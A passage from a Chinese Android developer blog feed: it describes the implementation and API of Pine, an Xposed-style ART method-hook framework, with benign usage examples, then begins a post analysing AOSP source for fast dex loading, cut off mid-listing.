GC?太重了,我们只希望<code>declaring_class</code>不会被移动就行。实际上,确实有让一个对象暂时不会被移动的方法:<strong>对于在栈上有引用的对象,不会被gc移动</strong>。那就简单了,保证对应的Class对象在栈上有引用即可,需要注意必须显式使用一下,否则会被优化:</del><br>(此方法来源于SandHook,未验证,在Android 10上测试并不能阻止对象被移动,哎)<br>(注:这里之前是考虑过用FastHook的那种方案的,即动态代理创建出forward方法,只修改forward的entry而非全部备份,不过试下来发现有点问题)<br>ok,调用原方法完成。</p><h3 id="jit"><a href="#jit" class="headerlink" title="jit"></a>jit</h3><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://source.android.google.cn/devices/tech/dalvik/images/jit-workflow.png" width="50%" height="50%"><p>这是<a href="https://source.android.google.cn/devices/tech/dalvik/jit-compiler" target="_blank" rel="noopener">官方文档</a>上的JIT工作流程图。<br>Pine对jit的处理和其他框架差不多:</p><ul><li>如果目标方法没被编译,先尝试调用<code>jit_compile_method</code>进行编译,编译的结果直接影响到走inline hook还是入口替换;</li><li>jit编译会改变线程状态,有可能会造成crash,所以编译完后需要恢复线程状态;</li><li>给原方法和backup方法添加<code>kAccCompileDontBother</code>防止其被jit编译从而引发错误;</li><li>另外还照着SandHook写了一个禁用jit inline。</li></ul><p>不过这似乎还远远不够。FastHook作者在<a href="https://bbs.pediy.com/thread-250292.htm" target="_blank" rel="noopener">这篇文章</a>中提到了这两点:</p><ul><li>如果该方法正在jit编译,那么我们手动编译是不安全的。</li><li><code>jit gc</code>会修改方法入口为解释器入口,当方法进入解释器时会重新设置为原来的入口并跳转到原来的入口执行。</li></ul><p>另外我简单看了下jit源码,发现包括<code>ProfilingInfo</code>和<code>被编译的代码</code>在内的大部分内容<strong>都有可能被回收</strong>。<br>暂时还没想好这个怎么处理emmm</p><h3 id="ELF符号解析"><a href="#ELF符号解析" class="headerlink" title="ELF符号解析"></a>ELF符号解析</h3><p>受限于实现原理,我们需要获得来自系统私有库内的大量私有符号,最简单的办法就是用<code>dlsym</code>,不过在Android N上,Google禁止了这种行为,而且我们还需要获取一些在<code>.symtab</code>表里的符号(比如<code>art_quick_to_interpreter_bridge</code>),这些用<code>dlsym</code>是搜索不到的。因为我对elf格式不熟,所以直接用的SandHook作者的<a href="https://github.com/ganyao114/AndroidELF" target="_blank" rel="noopener">AndroidELF</a>,在这特别表示感谢~</p><h3 id="各设备兼容"><a href="#各设备兼容" class="headerlink" title="各设备兼容"></a>各设备兼容</h3><p>处理安卓各版本的变化这些都是老生常谈了,这条要讲的问题是指当厂商修改了一些成员偏移的情况。<br>比如<code>ArtMethod</code>,我们做hook至少需要获得<code>art_entry_point_from_quick_compiled_code_</code>和<code>access_flags_</code>,我们可以根据AOSP写死偏移,但是这样的话一旦厂商做了什么手脚改了偏移,那就完蛋了。而我知道的框架只有SandHook和Whale是动态查找偏移,其他都是根据AOSP写死偏移。<br>实际上我们可以在运行时动态获得这些offset,拿<code>access_flags_</code>来说吧,我们可以定义一个方法,然后根据该方法的属性预测access_flag,然后可以用这个预测的flag在ArtMethod里动态搜索到值(这个方法最好是native的,否则很有可能会被加上一个<code>kAccSkipAccessChecks</code>导致搜索不到);而对于<code>entry_point_from_quick_compiled_code_</code>,并没有办法预测值,但是我们可以预测在<code>art_entry_point_from_quick_compiled_code_</code>旁边的<code>data_</code>成员的值:对于native方法,这个值是对应的jni函数地址,我们可以搜索到,然后直接加上成员大小就行(需要注意内存对齐)<br>而对于无法动态获得偏移的情况,比如<code>CompilerOptions</code>,它在内存中是这样的:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CompilerOptions</span> <span class="title">final</span> {</span></span><br><span class="line"> CompilerFilter::Filter compiler_filter_;</span><br><span class="line"> <span class="keyword">size_t</span> huge_method_threshold_;</span><br><span class="line"> <span class="keyword">size_t</span> large_method_threshold_;</span><br><span class="line"> <span class="keyword">size_t</span> small_method_threshold_;</span><br><span class="line"> <span class="keyword">size_t</span> tiny_method_threshold_;</span><br><span class="line"> <span class="keyword">size_t</span> num_dex_methods_threshold_;</span><br><span class="line"> <span class="keyword">size_t</span> inline_max_code_units_;</span><br><span class="line"> <span class="comment">// 省略一大堆成员</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>假如我们要修改它的<code>inline_max_code_units_</code>,没什么能很好获取偏移的办法,那么我们只能根据版本写死偏移,运行时就只能判断对应的值是否在范围内,超过范围不修改(比如获取出一个114514,那肯定不是正常的值,就可以判断出偏移不对)。</p><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><p>上面说了这么久实现原理,下面让我们来看看这东西怎么用吧~</p><h3 id="基础使用"><a href="#基础使用" class="headerlink" title="基础使用"></a>基础使用</h3><p>在<code>bridge.gradle</code>里加入如下依赖:</p><figure class="highlight groovy"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">dependencies {</span><br><span class="line"> implementation <span class="string">'top.canyie.pine:core:0.0.1'</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>配置一些基本信息:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">PineConfig.debug = <span class="keyword">true</span>; <span class="comment">// 是否debug,true会输出较详细log</span></span><br><span class="line">PineConfig.debuggable = BuildConfig.DEBUG; <span class="comment">// 该应用是否可调试,建议和配置文件中的值保持一致,否则会出现问题</span></span><br></pre></td></tr></table></figure><p>然后就可以开始使用了。</p><p>例子1:监控Activity onCreate(注:仅做测试使用,如果你真的有这个需求更建议使用<code>registerActivityLifecycleCallbacks()</code>等接口)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Pine.hook(Activity.class.getDeclaredMethod(<span class="string">"onCreate"</span>, Bundle.class), <span class="keyword">new</span> MethodHook() {</span><br><span class="line"> <span class="meta">@Override</span> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">beforeHookedMethod</span><span class="params">(Pine.CallFrame callFrame)</span> </span>{</span><br><span class="line"> Log.i(TAG, <span class="string">"Before "</span> + callFrame.thisObject + <span class="string">" onCreate()"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">afterHookedMethod</span><span class="params">(Pine.CallFrame callFrame)</span> </span>{</span><br><span class="line"> Log.i(TAG, <span class="string">"After "</span> + callFrame.thisObject + <span class="string">" onCreate()"</span>);</span><br><span class="line"> }</span><br><span class="line">});</span><br></pre></td></tr></table></figure><p>Pine.CallFrame就相当于xposed的MethodHookParams。</p><p>例子2:拦截所有java线程的创建与销毁:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">final</span> MethodHook runHook = <span class="keyword">new</span> MethodHook() {</span><br><span class="line"> <span class="meta">@Override</span> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">beforeHookedMethod</span><span class="params">(Pine.CallFrame callFrame)</span> <span class="keyword">throws</span> Throwable </span>{</span><br><span class="line"> Log.i(TAG, <span class="string">"Thread "</span> + callFrame.thisObject + <span class="string">" started..."</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">afterHookedMethod</span><span class="params">(Pine.CallFrame callFrame)</span> <span class="keyword">throws</span> Throwable </span>{</span><br><span class="line"> Log.i(TAG, <span class="string">"Thread "</span> + callFrame.thisObject + <span class="string">" exit..."</span>);</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">Pine.hook(Thread.class.getDeclaredMethod(<span class="string">"start"</span>), <span class="keyword">new</span> MethodHook() {</span><br><span class="line"> <span class="meta">@Override</span> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">beforeHookedMethod</span><span class="params">(Pine.CallFrame callFrame)</span> </span>{</span><br><span class="line"> Pine.hook(ReflectionHelper.getMethod(callFrame.thisObject.getClass(), <span class="string">"run"</span>), runHook);</span><br><span class="line"> }</span><br><span class="line">});</span><br></pre></td></tr></table></figure><p>注意如果我们只hook <code>Thread.run()</code>,Thread子类可能会重写<code>Thread.run()</code>方法不调用<code>super.run()</code>那么就无法hook到,所以我们可以hook一定会被调用的<code>Thread.start()</code>方法感知到新线程建立,此时可以获得具体的类,然后直接hook这些运行时才被发现的类就行。</p><p>我们还可以玩点丧心病狂的,比如:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Method checkThread = Class.forName(<span class="string">"android.view.ViewRootImpl"</span>).getDeclaredMethod(<span class="string">"checkThread"</span>);</span><br><span class="line">Pine.hook(checkThread, MethodReplacement.DO_NOTHING);</span><br></pre></td></tr></table></figure><p>这段代码会干什么呢?没错,现在你可以在任何线程随意操作ui了,不用怕<code>ViewRootImpl.CalledFromWrongThreadException</code>了 ^_^<br>当然,Pine的用途远不止这些,这一切都取决于您的想象力~</p><h3 id="其他一些API"><a href="#其他一些API" class="headerlink" title="其他一些API"></a>其他一些API</h3><p>这里介绍一些其他的API:</p><ul><li><code>Pine.ensureInitialized()</code>:默认情况下Pine是懒初始化的,即第一次调用需要初始化的API时才会进行初始化,你可以调用此方法来主动进行初始化</li><li><code>Pine.invokeOriginalMethod(Member method, Object thisObject, Object... args)</code>:调用原方法,不过不建议使用这个接口,更建议使用效率更高的<code>CallFrame.invokeOriginalMethod()</code>。</li><li><code>Pine.setHookMode(int hookMode)</code>:设置Pine的hook方案,取值:<code>Pine.HookMode.AUTO</code>:由Pine自行决定;<code>Pine.HookMode.INLINE</code>:inline hook优先;<code>Pine.HookMode.REPLACEMENT</code>:入口替换优先。注:设置hook方案并不代表Pine一定会以该方案进行hook,如hook jni函数就只能进行入口替换。</li><li><code>Pine.disableJitInline()</code>:尝试关闭JIT的内联优化。</li><li><code>Pine.compile(Member method)</code>:主动调用JIT尝试编译一个方法。</li><li><code>Pine.decompile(Member method, boolean disableJit)</code>:使某个方法转换为解释执行。参数<code>disableJit</code>表示是否需要阻止该方法再次被JIT编译。</li></ul><p>还有其他一些不太常用的就不再介绍了,感兴趣的可以去看看源码。</p><h3 id="使用须知"><a href="#使用须知" class="headerlink" title="使用须知"></a>使用须知</h3><ol><li>Pine的开源协议是<a href="https://github.com/kattgu7/Anti-996-License/blob/master/LICENSE_CN" target="_blank" rel="noopener">反996协议</a>。</li><li>Pine支持Android 4.4(只支持ART)~10.0,aarch32(未测试,几乎见不到,以后可能会移除)/thumb2/arm64架构;6.0 32bit下参数解析可能会有问题,没有对应测试机无法测试(其实是看epic源码有对M进行特殊处理,不过这段没看懂emm);另外,Pine没有自带绕过隐藏API限制策略的方法,如果你需要在9.0及以上使用,那么请自行处理(比如使用<a href="https://github.com/tiann/FreeReflection" target="_blank" rel="noopener">FreeReflection</a>);R上简单看了下,jmethodID有可能不是真实的ArtMethod*了,不过java层Executable的artMethod变量似乎还是,处理了这点应该就行</li><li>Pine只在少数的几台设备上做过测试,稳定性暂无法保证,不建议在生产环境中使用。</li><li>大部分java方法都可被Pine hook,但是这些方法除外:</li></ol><ul><li>类的静态初始化块</li><li>部分关键系统方法</li><li>被Pine内部使用了的方法(hook会导致死循环)</li><li>有无法被inline hook的情况</li><li>被完全内联的方法(如果能知道caller,那么可以decompile caller)</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>嗯,大概就是这样啦~<br>再放一下开源地址:<a href="https://github.com/canyie/pine" target="_blank" rel="noopener">Pine</a><br>几个对我帮助比较大的项目:</p><ul><li><a href="https://github.com/ganyao114/SandHook" target="_blank" rel="noopener">SandHook</a></li><li><a href="https://github.com/tiann/epic" target="_blank" rel="noopener">Epic</a></li><li><a href="https://github.com/ganyao114/AndroidELF" target="_blank" rel="noopener">AndroidELF</a>:本项目使用了的ELF符号搜索库</li><li><a href="https://github.com/PAGalaxyLab/YAHFA" target="_blank" rel="noopener">YAHFA</a></li><li><a href="https://github.com/turing-technician/FastHook" target="_blank" rel="noopener">FastHook</a></li></ul><p>在这再次表示感谢~</p><p>如果你对本项目感兴趣的话,可以拿出你的手机帮我测试一下,欢迎提issue和PR,也可以加一下<a href="//shang.qq.com/wpa/qunwpa?idkey=25549719b948d2aaeb9e579955e39d71768111844b370fcb824d43b9b20e1c04" target="_blank" rel="noopener">QQ群:949888394</a>一起讨论,^_^</p>]]></content>
<summary type="html">
<p>大家应该还记得我上次介绍的<a href="/2020/02/03/a-new-xposed-style-framework/">Dreamland</a>吧,忘记了也没事,简单介绍一下:这是一个类似Xposed的框架,可以注入应用进程并进行方法hook。进程注入上次已经说过了,另一个重点hook当时是使用了<a href="https://github.com/ganyao114/SandHook" target="_blank" rel="noopener">SandHook框架</a>,这是一款非常优秀的hook框架,但是有点问题,不太适合Dreamland;在比较了其他hook框架之后,发现似乎都存在一些问题,最终决定自己动手写一个。已经开源,代码在这:<a href="https://github.com/canyie/pine" target="_blank" rel="noopener">Pine</a>,接下来我会介绍它的具体实现。</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="art" scheme="https://blog.canyie.top/tags/art/"/>
<category term="xposed" scheme="https://blog.canyie.top/tags/xposed/"/>
<category term="AOP" scheme="https://blog.canyie.top/tags/AOP/"/>
<category term="hook" scheme="https://blog.canyie.top/tags/hook/"/>
</entry>
<entry>
<title>一种在ART上快速加载dex的方法</title>
<link href="https://blog.canyie.top/2020/02/15/fast-load-dex-on-art-runtime/"/>
<id>https://blog.canyie.top/2020/02/15/fast-load-dex-on-art-runtime/</id>
<published>2020-02-15T02:02:33.000Z</published>
<updated>2020-04-15T03:08:44.350Z</updated>
<content type="html"><![CDATA[<p>在国内的大环境下,Android上插件化/热修复等技术百花齐放,而这一切都基于代码的动态加载。Android提供了一个DexClassLoader。用这个API能成功加载dex,但有一个比较严重的问题:Android Q以下,当这个dex被加载时,如果没有已经生成的oat,则会执行一次dex2oat把这个dex编译为oat,导致第一次加载dex会非常非常慢。个人认为这样的设计是非常不合理的,虽然转换成oat之后执行会很快,但完全可以让用户以解释器模式先愉快的用着,dex2oat放另一个线程执行多好。Android 8.0上谷歌还提供了一个InMemoryDexClassLoader,而以前的Android版本,就要开发者自己想办法了……</p><a id="more"></a><h2 id="源码分析"><a href="#源码分析" class="headerlink" title="源码分析"></a>源码分析</h2><p>注:为了说明此方法能在较低版本的ART上运行,本文分析的源码是<a href="http://aospxref.com/android-5.0.0_r7.0.1/" target="_blank" rel="noopener">Android 5.0</a>的源码,之后的Android版本里OpenDexFileFromOat方法搬到了OatFileManager里,而调用dex2oat的部分则重构到了OatFileAssistant中,大致逻辑相同,感兴趣的可以自己去看看;至于Android 4.4,简单扫了一下源码似乎是生成oat失败就会直接抛一个IOException拒绝加载,emmm……</p><p>我们在Java代码里用<code>new DexClassLoader()</code>的方式加载dex,最后会调用到<code>DexFile.openDexFileNative</code>中,这个函数的<a href="http://aospxref.com/android-5.0.0_r7.0.1/xref/art/runtime/native/dalvik_system_DexFile.cc#101" target="_blank" rel="noopener">实现</a>是这样的:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> jlong <span class="title">DexFile_openDexFileNative</span><span class="params">(JNIEnv* env, jclass, jstring javaSourceName, jstring javaOutputName, jint)</span> </span>{</span><br><span class="line"> <span class="function">ScopedUtfChars <span class="title">sourceName</span><span class="params">(env, javaSourceName)</span></span>;</span><br><span class="line"> <span class="keyword">if</span> (sourceName.c_str() == <span class="literal">NULL</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="function">NullableScopedUtfChars <span class="title">outputName</span><span class="params">(env, javaOutputName)</span></span>;</span><br><span class="line"> <span class="keyword">if</span> (env->ExceptionCheck()) {</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ClassLinker* linker = Runtime::Current()->GetClassLinker();</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">unique_ptr</span><<span class="built_in">std</span>::<span class="built_in">vector</span><<span class="keyword">const</span> DexFile*>> dex_files(<span class="keyword">new</span> <span class="built_in">std</span>::<span class="built_in">vector</span><<span class="keyword">const</span> DexFile*>());</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">vector</span><<span class="built_in">std</span>::<span class="built_in">string</span>> error_msgs;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">bool</span> success = linker->OpenDexFilesFromOat(sourceName.c_str(), outputName.c_str(), &error_msgs,</span><br><span class="line"> dex_files.get());</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (success || !dex_files->empty()) {</span><br><span class="line"> <span class="comment">// In the case of non-success, we have not found or could not generate the oat file.</span></span><br><span class="line"> <span class="comment">// But we may still have found a dex file that we can use.</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">static_cast</span><jlong>(<span class="keyword">reinterpret_cast</span><<span class="keyword">uintptr_t</span>>(dex_files.release()));</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 加载失败的情况,省略</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里的注释很有意思,如果返回false(生成oat失败),但是有被成功加载的dex,那么还是应该当做成功。<br>可以看出具体实现在ClassLinker中的OpenDexFilesFromOat里,我们点进去看看:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Multidex files make it possible that some, but not all, dex files can be broken/outdated. This</span></span><br><span class="line"><span class="comment">// complicates the loading process, as we should not use an iterative loading process, because that</span></span><br><span class="line"><span class="comment">// would register the oat file and dex files that come before the broken one. Instead, check all</span></span><br><span class="line"><span class="comment">// multidex ahead of time.</span></span><br><span class="line"><span class="keyword">bool</span> ClassLinker::OpenDexFilesFromOat(<span class="keyword">const</span> <span class="keyword">char</span>* dex_location, <span class="keyword">const</span> <span class="keyword">char</span>* oat_location,</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">vector</span><<span class="built_in">std</span>::<span class="built_in">string</span>>* error_msgs,</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">vector</span><<span class="keyword">const</span> DexFile*>* dex_files) {</span><br><span class="line"> <span class="comment">// 1) Check whether we have an open oat file.</span></span><br><span class="line"> <span class="comment">// This requires a dex checksum, use the "primary" one.</span></span><br><span class="line"> <span class="keyword">bool</span> needs_registering = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> OatFile::OatDexFile* oat_dex_file = FindOpenedOatDexFile(oat_location, dex_location,</span><br><span class="line"> dex_location_checksum_pointer);</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">unique_ptr</span><<span class="keyword">const</span> OatFile> open_oat_file(</span><br><span class="line"> oat_dex_file != <span class="literal">nullptr</span> ? oat_dex_file->GetOatFile() : <span class="literal">nullptr</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 2) If we do not have an open one, maybe there's one on disk already.</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// In case the oat file is not open, we play a locking game here so</span></span><br><span class="line"> <span class="comment">// that if two different processes race to load and register or generate</span></span><br><span class="line"> <span class="comment">// (or worse, one tries to open a partial generated file) we will be okay.</span></span><br><span class="line"> <span class="comment">// This is actually common with apps that use DexClassLoader to work</span></span><br><span class="line"> <span class="comment">// around the dex method reference limit and that have a background</span></span><br><span class="line"> <span class="comment">// service running in a separate process.</span></span><br><span class="line"> ScopedFlock scoped_flock;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (open_oat_file.get() == <span class="literal">nullptr</span>) { </span><br><span class="line"> <span class="keyword">if</span> (oat_location != <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> error_msg;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// We are loading or creating one in the future. Time to set up the file lock.</span></span><br><span class="line"> <span class="keyword">if</span> (!scoped_flock.Init(oat_location, &error_msg)) {</span><br><span class="line"> error_msgs->push_back(error_msg);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// TODO Caller specifically asks for this oat_location. We should honor it. Probably?</span></span><br><span class="line"> open_oat_file.reset(FindOatFileInOatLocationForDexFile(dex_location, dex_location_checksum,</span><br><span class="line"> oat_location, &error_msg));</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (open_oat_file.get() == <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">string</span> compound_msg = StringPrintf(<span class="string">"Failed to find dex file '%s' in oat location '%s': %s"</span>,</span><br><span class="line"> dex_location, oat_location, error_msg.c_str());</span><br><span class="line"> VLOG(class_linker) << compound_msg;</span><br><span class="line"> error_msgs->push_back(compound_msg);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// <span class="doctag">TODO:</span> What to lock here?</span></span><br><span class="line"> <span class="keyword">bool</span> obsolete_file_cleanup_failed;</span><br><span class="line"> open_oat_file.reset(FindOatFileContainingDexFileFromDexLocation(dex_location,</span><br><span class="line"> dex_location_checksum_pointer,</span><br><span class="line"> kRuntimeISA, error_msgs,</span><br><span class="line"> &obsolete_file_cleanup_failed));</span><br><span class="line"> <span class="comment">// There's no point in going forward and eventually try to regenerate the</span></span><br><span class="line"> <span class="comment">// file if we couldn't remove the obsolete 